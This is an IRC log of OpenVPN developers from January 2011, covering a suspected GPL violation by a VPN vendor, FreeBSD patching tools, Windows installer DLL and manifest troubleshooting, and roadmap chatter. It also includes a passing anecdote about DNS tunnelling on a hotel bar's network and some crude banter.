psha [~psha@213.208.162.69] has joined #openvpn-devel 03:29 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:46 <@vpnHelper> RSS Update - tickets: #81: Please support certificates where a CN attribute is not part of the subject DN <https://community.openvpn.net/openvpn/ticket/81> 03:52 <@vpnHelper> RSS Update - tickets: #82: OpenVPN generates flood of CTL MAC Pause packets <https://community.openvpn.net/openvpn/ticket/82> 04:51 -!- common- [~common@p5DDA47D4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:53 -!- common [~common@p5DDA48A3.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:53 -!- common- is now known as common 05:58 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:56 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 07:10 <@mattock> win7 activation worked fine 07:11 <@mattock> cron2: I'll try to integrate the t_client.rc stuff to buildbot now... tomorrow I'll start fixing the lzo2.dll issue in WIndows installer 07:15 <+krzee> http://proxpn.com/faq.php 07:15 <@vpnHelper> Title: proXPN - FAQ - Read questions and answers about our free VPN. (at proxpn.com) 07:15 <+krzee> Q: Can I use an OpenVPN client instead of yours? 07:15 <+krzee> A: While it is theoretically possible, we strongly recommend against this (you'll get much better performance with our client) and offer no support for it. But you're welcome to try it if you like. You'll just need to create an account first. 07:16 <+krzee> this means that its based on openvpn 07:16 <+krzee> but they do not offer the source for download, they are instead selling a proprietary solution of their own 07:22 <+ecrist> I have confirmed they use openvpn, and even robbed some scripts from tunnelblick. 07:25 <+krzee> mattock, patelx, raidzx, you guys may wanna take that to corp and let them know 07:26 <@mattock> krzee, ecrist: I'll mail Francis about this 07:26 <+ecrist> straight up GPL violation 07:26 <@mattock> yeah 07:27 <+ecrist> I would suggest being nice at first, also perhaps get the tunnelblick folks involved. 07:27 <+krzee> not even a link back to the site 07:27 <+krzee> (ovpn site) 07:27 <+ecrist> iirc, their stuff is also GPL'd 07:27 <@mattock> ecrist: how did you verify it's OpenVPN? 07:27 <+krzee> [05:24] <ecrist> 2011-01-26 07:23:10 *proXPN: OS X 10.6.6; 2.2.6 based on Tunnelblick 3.1beta09 (1947); OpenVPN 2.1.4 07:27 <+krzee> heheh 07:27 <+ecrist> I downoaded the mac version, openvpn and tunnelblick binaries and configs are within 07:28 <+krzee> how did you dl it ecrist? 07:28 <+krzee> signed for trial on paypal? 07:28 <+ecrist> I created an account. 07:28 <+ecrist> it's free 07:28 <+krzee> oh i had to click basic 07:28 <@mattock> it's going to be interesting to see what this leads to 07:30 <+krzee> those lil security images on websites always make me wanna get frisky on the site 07:33 <+ecrist> lol @ krzee 07:35 <@mattock> any ideas if they've made any modifications to OpenVPN and/or Tunnelblick? 07:37 <@mattock> I mean, to the code 07:38 <@mattock> I guess repackaging does not count 07:45 <+krzee> mattock, no idea, i would assume so but that doesnt mean its for sure 07:45 <@mattock> ok 07:45 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:45 <+ecrist> yes, they have, at least to tunnelblick 07:45 <+krzee> but either way it is a violation of the GPL 07:45 <+ecrist> they've re-skinned it, added some menu options and the like 07:46 <@mattock> ecrist: ok, so then they are definitely violating GPLv2 license for tunnelblick 07:46 <@mattock> and if they do that, it's likely they're not respecting GPLv2 for OpenVPN, either 07:46 <+ecrist> there's a grey area 07:46 <+ecrist> they're not explicitly offering the source, which they should, but they've not declined to provide the source, as we haven't asked, yet 07:47 <+ecrist> if they decline/refus, it's a straight-forward GPL violation. omitting a way in which to download could simply be an oversight. 07:48 <+krzee> oversight = violation, but not a big deal 07:48 <+krzee> decline = violation that needs to be dealt with 07:49 <+ecrist> right 07:52 <@mattock> ecrist: that's correct, yes... the source does not have to be downloadable 07:52 <@mattock> I mailed James and Francis about this 07:52 <@mattock> I'll mail Jonathan, too (the tunnelblick guy) 07:53 <+ecrist> fwiw, Jonathan never got back to me about using snapshots. 07:53 <+krzee> jonathan... familiar name... was he a pfsense guy? 07:55 <+ecrist> the proxPN services seems fairly nice, they seem to have a lot of happy users from around the world. 07:56 <@mattock> krzee: jonathan bullard 07:57 <@mattock> ecrist: he probably forgot about it 07:59 <+krzee> im guessing you dont need the lanscaper in atlanta... so ill go with 'primary dev of tunnelblick' 07:59 <+krzee> s/need/mean/ 08:01 <+ecrist> lol 08:06 <@mattock> cron2: now that I think of it, buildbot runs as an unprivileged user... I got to do some hacks to get t_client.rc integrated 08:09 <@mattock> ecrist: what's your FreeBSD security update management workflow? I would need to take care of security updates for the public test server and I got no idea how to do it best 08:10 <+ecrist> what do you mean? my workflow is, find vuln, patch, repeat. 08:10 <+ecrist> ;) 08:10 <+krzee> and of course install portaudit and let it be in your nightly emails 08:12 <@mattock> ecrist: I mean do you use some tools to find the vulnerabilities? or tools to automatically update vulnerable packages/ports? 08:12 <@mattock> krzee: I'll check out portaudit 08:12 <+krzee> its in ports 08:12 <@mattock> yep, I'm installing it right now 08:13 <+krzee> cool 08:13 <@mattock> how about base system vulnerabilities? 08:13 <+krzee> then you just run portaudit -Fa 08:13 <+krzee> it'll insert itself into your nightly emails 08:13 <+krzee> base system vulns is more what ecrist said 08:13 <+krzee> find, patch, rinse, repeat 08:13 <+ecrist> I pay attention to freebsd security advisories, and I have some folks I know that are privy to certain crowds that know about some zero day stuff 08:14 <+ecrist> I keep that to myself, though, to keep in good with those crowds 08:14 <+krzee> darn those evil crowds! 08:14 <+ecrist> seems selfish, but it allows me to properly patch systems I'm responsible for. 08:14 <+krzee> normally more selfish to tell 08:15 <+krzee> people who do that are usually looking for recognition 08:15 <+ecrist> indeed 08:19 <@cron2> mattock: mmmh, t_client.rc needs root priv to setup tun+ifconfig+route 08:19 <@mattock> yep, I probably have to use "sudo" tricks to get it working 08:20 <@mattock> it will probably mess up the directory permissions, too 08:20 <+ecrist> mattock: to be nice and answer your question, for freebsd see the security advisories on the website, install portaudit from ports, put your ear on the ground and listen for non-reported bugs/vulns 08:20 <@mattock> ecrist: I'll do that, thanks! 08:21 <@mattock> I'm checking out portupgrade, too... any opinion about using that? 08:21 <+ecrist> fwiw, I pushed a devel port update out last night, so freebsd ports tree has this weeks devel snapshot 08:21 <+ecrist> I've not updated the beta port to rc yet, though. 08:25 <+ecrist> mattock: feed://www.freebsd.org/security/rss.xml 12:50 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Quit: leaving] 12:50 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 12:57 -!- common [~common@p5DDA47D4.dip0.t-ipconnect.de] has quit [Quit: Friends don't let friends drink and IRC] 13:16 < Essobi> First sign of the Apocalypse: http://latimesblogs.latimes.com/technology/2011/01/william-named-intels-director-of-creative-innovation.html 13:16 <@vpnHelper> Title: Will.i.am named Intel's director of creative innovation | Technology | Los Angeles Times (at latimesblogs.latimes.com) 15:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 16:02 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:13 < raidzx> ecrist, krzee: have you guys ever helped anyone using voip + openvpn? 17:14 < raidzx> I am having issues with a setup and am trying to twek some settings but feel like it may be out of my hands due to the geographic location of the vpn server, voip softphone and voip server 17:49 <+krzee> should just be a matter of tuning MTU (if needed) 17:49 <+krzee> whats the symptom? 17:50 <+krzee> with voip, RTT should be a bit less important than jitter 17:50 <+krzee> jitter being large variance of pings 17:50 <+krzee> like 60ms 130ms 80ms 150ms etc 17:51 <+krzee> whereas a constant 180ms would work much better than the above --- Day changed Thu Jan 27 2011 01:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:11 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:42 <@mattock> jonathan (tunnelblick maintainer) sent mail to proXPN 02:50 <@mattock> ...back to Windows installer stuff 02:50 <@mattock> uninstall seemed to work ok on Wine, btw 03:12 <@mattock> ecrist: I noticed that /var/log directory on forums consumes lots of backup space, around 6GB per day 03:12 <@mattock> perhaps we could tune down logging levels somewhere? 03:22 <@mattock> okay, this is our offender /var/log/httpd-rewrite.log (10725MB) 03:27 <@mattock> fixed 03:28 <@mattock> my bad probably, forgot to tune down the loglevel 05:16 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:16 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:16 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:16 <+krzee> hey jjk hows it going 05:17 <+janjust> heeey krzee , whassup! everything's fine here 05:18 <+krzee> right on, same here, traveling a lil on vacation 05:18 <+janjust> I just got back from vacation: on sunday it was 30 degrees Centigrade, now it's 5 degrees 05:19 <+janjust> (90+ F down to 40's F) 05:19 <+krzee> 30 is nice, where were ya? 05:20 <+janjust> Brazil :) where're you at on vacation 05:20 <+krzee> yep my dashboard has a converter =] 05:20 <+krzee> awesome! 05:20 <+krzee> im in california but headed to south america soon 05:20 <+krzee> plan on doing brazil for carnival 05:21 <+janjust> awesome ! 05:21 <+krzee> howd you like it? i havnt been yet 05:21 <+janjust> BTW, the openvpn book is almost done, it should be out next month or march 05:22 <+krzee> (been to peru, not brazil) 05:22 <+krzee> sweet! 05:22 <+krzee> what chapter # is the final chapter? 05:22 <+janjust> I've been to Brazil many times; there are spots you shouldn't go and there are many spots that are very sweet 05:22 <+janjust> chapter 12 05:22 <+krzee> oh good 05:22 <+krzee> heheh 05:23 <+janjust> but Brazil during carnaval is awesome, just hold on to your wallet ;-) 05:23 <+krzee> hah i bet 05:26 <+janjust> some tourists tend to forget that to the local population you've got the word MONEY stamped on your forehead. this does not apply only to Brazil but to any country where the local folks earn about 10% of what tourists do 05:27 <+janjust> BTW, I just saw this link: http://www.ntop.org/n2n/ 05:27 <@vpnHelper> Title: ntop - network top (at www.ntop.org) 05:27 <+janjust> I would really like to see this kind of functionality in OpenVPN 3 :) 05:29 <+krzee> whoa, awesome 05:29 <+krzee> i agree 05:31 <+krzee> passout time, gnite 05:32 <+janjust> gnite krzee 05:47 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 05:52 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:08 <+ecrist> mattock: you are incorrect in the amount of usage per day 07:08 <+ecrist> it was 1.3G on average. 07:09 <+ecrist> =====> 2011-01-27 05:35:28: SPACE REPORT STARTED 07:09 <+ecrist> ======> (1.3G) forums.openvpn.net Space Used 07:09 <+ecrist> 1326750 1.3G forums.openvpn.net/2011-01-27 04:00:01 Thu -0600 working 07:09 <+ecrist> 14120280 13.5G forums.openvpn.net/2011-01-26 04:00:01 Wed -0600 incremental 07:25 <@mattock> does you backup system compress uncompressed text files? 07:25 <@mattock> mine uses rsync, and does not do any diffs, either 07:25 <+ecrist> no, but it uses rsync, so only copies over differences between files 07:26 <@mattock> yep, during transfer only changes are copied... but each file is stored individually (on my system) if it has changed at all 07:26 <@mattock> I got 10 snapshots which took total of 65GB 07:27 <@mattock> anyways, I removed mod_rewrite logging so the issue is fixed 07:27 <+ecrist> ok 07:28 <@mattock> assuming /usr/local/etc/rc.d/apache22 reload does the trick 07:31 <+ecrist> s/reload/restart/ 07:31 <+ecrist> or do apachectl graceful 07:36 <@mattock> looking at httpd-rewrite.log it seems "reload" was enough, last entry is 4 hours old and going to a page that should trigger mod_rewrite did not write anything to the file 07:40 <+ecrist> sweet 07:41 <+ecrist> fwiw, total snapshots (I keep 6 month's worth) is 67GB for the forum machine 07:44 <@mattock> other servers used 1-3GB on our backup server... and forums took 65GB :) 07:48 <@vpnHelper> RSS Update - tickets: #83: openvpn quits on bad crl with crl-verify set <https://community.openvpn.net/openvpn/ticket/83> 07:58 <+ecrist> probably a bit excessive. ;) 08:07 <@mattock> yep :D 08:07 <@mattock> meeting today, btw? 08:18 -!- dazo_afk is now known as dazo 08:20 <+ecrist> yep 08:31 <@mattock> topics? 08:31 <@mattock> dazo? 08:32 <@dazo> mattock: topics? no not really ... windows build update, t_client.rc stuff and coverity are the things popping to my mind right now 08:33 <+ecrist> status of RC release. 08:33 <@mattock> I can give you the update right now 08:33 <@dazo> Haven't had too much time to look at OpenVPN stuff lately, but the RC release is depending on the windows build 08:33 <@mattock> yep, true 08:33 <@mattock> so, there is the lzo2.dll issue in current installer 08:34 <@mattock> also, openvpnserv.exe seems to be missing msvcrt90.dll 08:34 <@mattock> I just got the Win7 "installer test" computer setup 08:34 <@mattock> I've installed stuff to debug the DLL stuff (dependency walker + peview) 08:35 <@mattock> so, I probably have to create a statically linked version of lzo2 and link that with openvpn 08:35 <@mattock> and then rerun the OpenVPN installer and see how it works 08:36 <@mattock> or, if dynamic lzo2.dll is ok, I can simply change the openvpn.nsi script to copy it where it belongs 08:36 <@mattock> in case of static lzo2.dll the msvc.mak -file will need some modifications 08:36 <@mattock> not yet sure what kind 08:37 <@dazo> I honestly don't see any issues with having lzo2.dll as a dynamic lib 08:37 <@mattock> for me that would be simpler 08:37 <@mattock> although the msvcrt90.dll issue needs to be fixed regardless 08:38 <@dazo> then I'm suggesting that ... unless others object with good arguments 08:38 <@mattock> anyways, I'm testing the OpenVPN installer on Win7 right now 08:38 <@dazo> that's awesome! 08:38 <@dazo> we should probably see if we can also test it on some XP boxes as well 08:39 <@mattock> I could create a WinXP box, but it would take extra time 08:39 <@mattock> so better have others test it, I think 08:39 <+ecrist> I have an XP vm on my mac 08:39 <@mattock> ecrist: excellent! 08:40 <@mattock> btw. I'll test placing lzo2.dll to PATH manually first 08:40 <@mattock> if it works, it's possible that the openvpn binary itself works, too 08:40 <@mattock> hrm... Windows 7 updated itself without asking anything. Let's see if it deadlocks on reboot :P 08:41 <@mattock> regarding coverity... no progress, but it seems we don't have any "corporate" account. It's the basic "Coverity scan project" stuff 08:41 <@dazo> ahh, okay 08:41 <@mattock> which I think would mean it can't be integrated with buildbot 08:41 <@mattock> not 100% sure yet, though 08:42 <@cron2> mattock: does it needs to be integrated? I think it would be sufficient to occasionally drop a tarball on their plate and see what the check scripts return 08:43 <@cron2> (and I'm really curious about that) 08:43 <@mattock> t_client.rc integration to buildbot is doable, but as buildbot runs as an unprivileged user, sudo tricks are needed 08:43 <@mattock> cron2: yep, I think that would be good enough 08:44 <@dazo> cron2: +1 08:44 <@mattock> cron2: I know you've been very eager to get coverity and t_client.rc taken care of... I promise to get to those once the Windows installer is working 08:45 <@cron2> mattock: I'm a big fan of testing stuff - saves debacles like the last 2.1 release... 08:45 <@mattock> cron2: very good example 08:46 <@mattock> could have been avoided if James had sent a preview to the mailing lists 08:48 <@cron2> that specific one wouldn't have been caught by the existing t_client.rc (because it needs specific config bits to blow up), but maybe coverity would have seen it 08:49 * dazo brb 08:50 <@mattock> ok, win7 gives the lzo2.dll error as it should... copying it manually 08:50 -!- dazo is now known as dazo_afk 08:51 <@mattock> good thing is that it did not complain about (unsigned) drivers 08:51 <@mattock> so, either they're signed, or they're not installed at all :D 08:58 <@cron2> regarding meeting - if we have one, I most likely won't be able to attend ($wife not in da house, $daughter goes to bed at 7 local time == meeting start time) 09:00 <+ecrist> no excuse 09:00 <+ecrist> make her sit in on the meeting 09:00 <+ecrist> :) 09:00 <@cron2> if you want some baby food, I can arrange to have some pasted into the window... 09:06 -!- dazo_afk is now known as dazo 09:12 <@mattock> copying DLLs manually got me further 09:13 <@mattock> however, now it gives me R6034 and tells me to "contact application's support team"... am I in the right place? :P 09:28 <@mattock> hmm, dependency walker complains about mixed x86 and x64 libraries 09:28 <@mattock> the exe contains x86 libs, of course 09:28 <@mattock> and Win7 is 64bit... I wonder if this is a real problem 09:33 <@dazo> mattock: that is most likely a problem 09:34 <@mattock> I'll try to install openvpn-beta5 to see what it's binary uses 09:34 < psha> mattock: meeting is at 18:00 GMT? 09:35 <@mattock> psha: we can have one if we topics to discuss 09:35 <@mattock> so far nothing important has surfaced 09:36 <@mattock> "if we have topics..." 09:38 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 09:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:40 <@mattock> uninstaller is leaving crap behind 09:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 09:49 <@mattock> dazo: beta5 contains x86 libs and executables, too 09:49 <@mattock> it seems to work 09:49 <@mattock> TAP driver seems to be missing from the installer, though 09:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:49 <@mattock> from rc 09:50 <@dazo> mattock: as long as the exec and the needed libs are the same arch (x86 or x86_64), then it's fine ... but a mixture will most likely cause issues 10:14 <@mattock> yep... Win7 x64 seems to be able to handle x86 libs ok 10:15 <@mattock> now try adding the signed tap driver to the installer... 10:35 <@mattock> devcon.exe does not get installed, so it can't install the tap drivers 10:38 <@mattock> fixed a few uninstall bugs 12:16 < Essobi> Hmm.. Can an openvpn instance support handing out IPs for multiple non-contiguous IP blocks 12:17 <+ecrist> no 12:17 <+ecrist> that's a question that should've been asked in #openvpn, though, not here. 12:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:56 < Essobi> ecrist: Well my next question might be more appropriate here... Why not? 13:02 <@mattock> jamesyonan: is error R6034 familiar to you: http://social.msdn.microsoft.com/forums/en-US/vcgeneral/thread/9fbc9292-11b8-4ee4-94a4-5223546df280/ 13:02 <@vpnHelper> Title: R6034 - attempt to load C runtime library without using manifest. (at social.msdn.microsoft.com) 13:03 <@mattock> hmm... now that I think of it, could this be caused by a 32-bit msvcrt90.dll on 64-bit system... 13:05 <@jamesyonan> doesn't 64-bit windows know how to deal with running 32-bit apps? 13:16 -!- dazo is now known as dazo_afk 13:30 <@cron2> Essobi: so what's your next question? *curious* 13:32 < psha> i think it was 'Why not?' 13:32 < psha> but it's lost in the end of long phrase ;) 13:34 <+ecrist> Essobi: support goes in #openvpn, development and source questions can go here. 13:43 < Essobi> cron2: I asked why it couldn't.. as in what code in particular doesn't support it. 13:45 <@mattock> jamesyonan: ok, the issue is this... the new build system needs the ../Microsoft.VC90.CRT directory, which contains msvc*90.dll files and a manifest file 13:45 <@mattock> I was wondering how those are supposed to be handled in OpenVPN? 13:45 <@mattock> is it enough to put them to $OPENVPN_INSTALL_DIR/bin? 13:47 <@mattock> when I try to install openvpn-2.2-rc on Win7 64-bit I get this r6034 error 13:47 <@mattock> although I noticed that it had not installed TAP drivers, which may explain that too 13:49 < Essobi> cron2: I've got a vested interest in seeing that openvpn could support such configurations. 13:49 <@jamesyonan> well if you build with MSVC, you should get the manifest file 13:55 <@mattock> yep, I have that 13:58 <@mattock> ok, so the exact error message is: "R6034 An application has made an attempt to load the C runtime library incorrectly." 14:01 <@mattock> also, the same openvpn.exe does not give this error and seems to work 14:01 <@mattock> anyways, I'll check the bitness issue tomorrow 14:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:05 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 272 seconds] 16:06 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 17:53 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Fri Jan 28 2011 00:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:35 -!- dazo_afk is now known as dazo 04:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:16 <@mattock> now it seems I'm in manifest hell (successor to DLL hell) :P 04:39 <@mattock> krzee: https://community.openvpn.net/openvpn/wiki/Topics-2011-02-04 04:39 <@vpnHelper> Title: Topics-2011-02-04 – OpenVPN Community (at community.openvpn.net) 04:52 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 06:10 < waldner> http://article.gmane.org/gmane.network.openvpn.user/31788 06:10 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 06:10 < waldner> is IPv6 multihoming supported in that version? 06:11 < waldner> (or supported at all, for that matter) 07:04 <+ecrist> good morning 07:04 <@mattock> waldner: not sure, but I remember talk about multihoming + ipv6 fixes 07:04 <@mattock> good morning ecrist 07:04 <+ecrist> waldner: looks like you may have found a bug in the udp code. 07:05 <+ecrist> as a work-around, if you're using freebsd or openbsd on a firewall, you can use pf and the reply-to rules to reply back on the proper source IP 07:05 <+ecrist> that's a hack, as openvpn should do the right thing 07:06 < waldner> well not me, rather the chap who sent that email 07:06 <+ecrist> oh, indeed 07:06 <+ecrist> I just assumed it was you. 07:06 * ecrist finds thread, replies 07:06 < waldner> I replied saying that I wasn't sure whether IPv6 multihome works, and suggested to open a ticket 07:07 <+ecrist> mattock: why did you use samuli on the trac, but mattock here? 07:08 <@mattock> hmm, not sure 07:08 < waldner> surely as a temporary workaround the pf hack could work, but I'm not sure he's using BSD, looks like he's under linux rather 07:08 <+ecrist> kudos to him for using a devel snapshot. 07:09 <+ecrist> doesn't look like the poster created a ticket 07:10 < waldner> well I replied 1 hour ag or so, so maybe he hasn't read it yet 07:12 <+ecrist> mattock: do we have a v3 roadmap? 07:13 <@mattock> https://community.openvpn.net/openvpn/wiki/RoadMap 07:13 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 07:14 <+ecrist> I really hate how slow trac is. 07:14 <+ecrist> it's great, functional software, but it's so damn slow 07:19 <+ecrist> mattock: I've been thinking, there seem to be a lot of problems with phpbb's support of ldap auth. login/logout links are flakey, etc. 07:20 <@mattock> hmm, strange... 07:20 <+ecrist> how would you feel about having an import/export operation? 07:20 <+ecrist> for example, I've never been able to use the login form that appears on the header of the index page 07:20 <+ecrist> clicking the login link at the top right and filling out that form works. 07:21 <@mattock> hmm, I'll try it, never tried 07:21 <+ecrist> also, session IDs seem to get confused, particularly when logging in to the admin cp 07:22 <@mattock> for me both ways to login work 07:22 <@mattock> have other people reported similar problems? 07:23 <+ecrist> https://forums.openvpn.net/topic7437.html as an example 07:23 <@vpnHelper> Title: OpenVPN Support Forum logout - dead link : Forum & Website Support (at forums.openvpn.net) 07:24 <@mattock> I've noticed that the connections between the servers are not 100% reliable 07:25 <@mattock> not due to the VPN 07:25 <+ecrist> what if we setup ldap replication to a server running on fourms machine 07:25 <+ecrist> oh, hrm 07:26 <@mattock> especially build.openvpn.net seems to have quite a lot of issues 07:26 <@mattock> I got a ping monitoring running between that and community, and I get ping failure mails sometimes daily, sometimes less often 07:27 <@mattock> several minutes even 07:27 <@mattock> LDAP replication would probably help 07:27 <@mattock> I wouldn't want to start setting up user account synchronization unless that's the only option 07:28 <@mattock> I mean, from LDAP to phpbb's internal user databse 07:35 <@mattock> this windows manifest stuff is driving me crazy... I think I'll ask James to have a hacking session with me 07:36 <@mattock> we're so close, but yet so far of having a working openvpn-2.2-rc-install.exe 07:36 <+ecrist> did you ever figure out how to automate coverity, or do we just need to do that manually, once in a while? 09:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:30 <@mattock> ecrist: I _think_ we need to do manual scans 09:30 <@mattock> I have to verify that, though 09:30 <+ecrist> ok 09:30 <+ecrist> something we can probably mix into the RC process 09:30 <@mattock> but in the mail that James forwarded to me (with coverity credentials) they mentioned the "Scan project" 09:31 <@mattock> which I think means something like "upload your sources, we check them" 09:31 <@mattock> yep, integrating it to the release process makes perfect sense 09:31 <@mattock> btw. I asked if James would help me fix the remaining issues with the Python-based build system 09:32 <@mattock> there is some pretty nasty issue with msvcrt90.dll which I can't really figure out 09:32 <@mattock> James probably knows what to do about that 09:33 <@mattock> now I can tell I've experienced the "manifest hell", which is the successor to the "DLL hell" :D 09:33 <+ecrist> heh 09:33 <@mattock> ... got to go 09:33 <+ecrist> l8r 09:37 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 09:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:48 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 10:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:06 -!- dazo is now known as dazo_afk 11:23 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 11:23 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 11:23 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:23 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 11:23 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 11:23 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 11:23 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:08 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 2 voices, 10 normal] 15:51 -!- raidzx is now known as raidz 15:51 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 15:51 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:03 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:12 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving] 19:31 <+krzee> mattock, if you scroll up a bit you'll see jjk was on like 2 days ago and was saying he'ld like to see something like this in ovpn v3, maybe you can copy/paste to the roadmap? 19:31 <+krzee> http://www.ntop.org/n2n/ 19:31 <@vpnHelper> Title: ntop - network top (at www.ntop.org) 19:57 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:53 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 20:53 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 20:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:56 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Client Quit] 21:02 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:37 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:52 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 22:52 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 22:52 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:59 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sat Jan 29 2011 00:42 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:45 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Client Quit] 00:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:23 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 01:49 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:55 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:33 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:12 <@cron2> moin 03:14 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:14 <+krzee> moin moin 03:15 <+krzee> im on a surprise overnight layover 03:15 <+krzee> downstairs at the bar so i can have complimentary internet while i setup a NS tunnel 03:15 <+krzee> ;] 03:15 <+krzee> (and of course drinking) 03:16 <+krzee> my plane was delayed, so i was supposed to miss my connection... but that was delayed too so i made it... but they needed volunteers to stay, so i took $400 in travel + room @ hilton in exchange for leaving in the morning 03:53 <@cron2> nice 03:54 <+krzee> yep 03:55 <+krzee> and all it costed me was around 9 hours of playing with pussy 03:55 <+krzee> i feel i won in this deal 03:56 <+krzee> looks like i found a bug in iodine, so i wont be winning this race 03:56 <+krzee> plus the bar got me a lil drunk... 03:56 <+krzee> so unless i can keep this complimentary access rockin, or manage to spit game at the old-but-doable asain chick, i will be paying for access in a few minutes 04:05 <@cron2> you could try to get some sleep :) 04:05 <+krzee> lol 04:17 <+krzee> muahaha still online with the bar pass 05:11 <@mattock> krzee: sounds good, I'll edit the roadmap 05:14 <@mattock> added to "Similar projects" (https://community.openvpn.net/openvpn/wiki/RoadMap) 05:14 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 05:54 <+krzee> cool =] 05:54 <+krzee> thx 08:27 <+ecrist> lo @ krzee 09:14 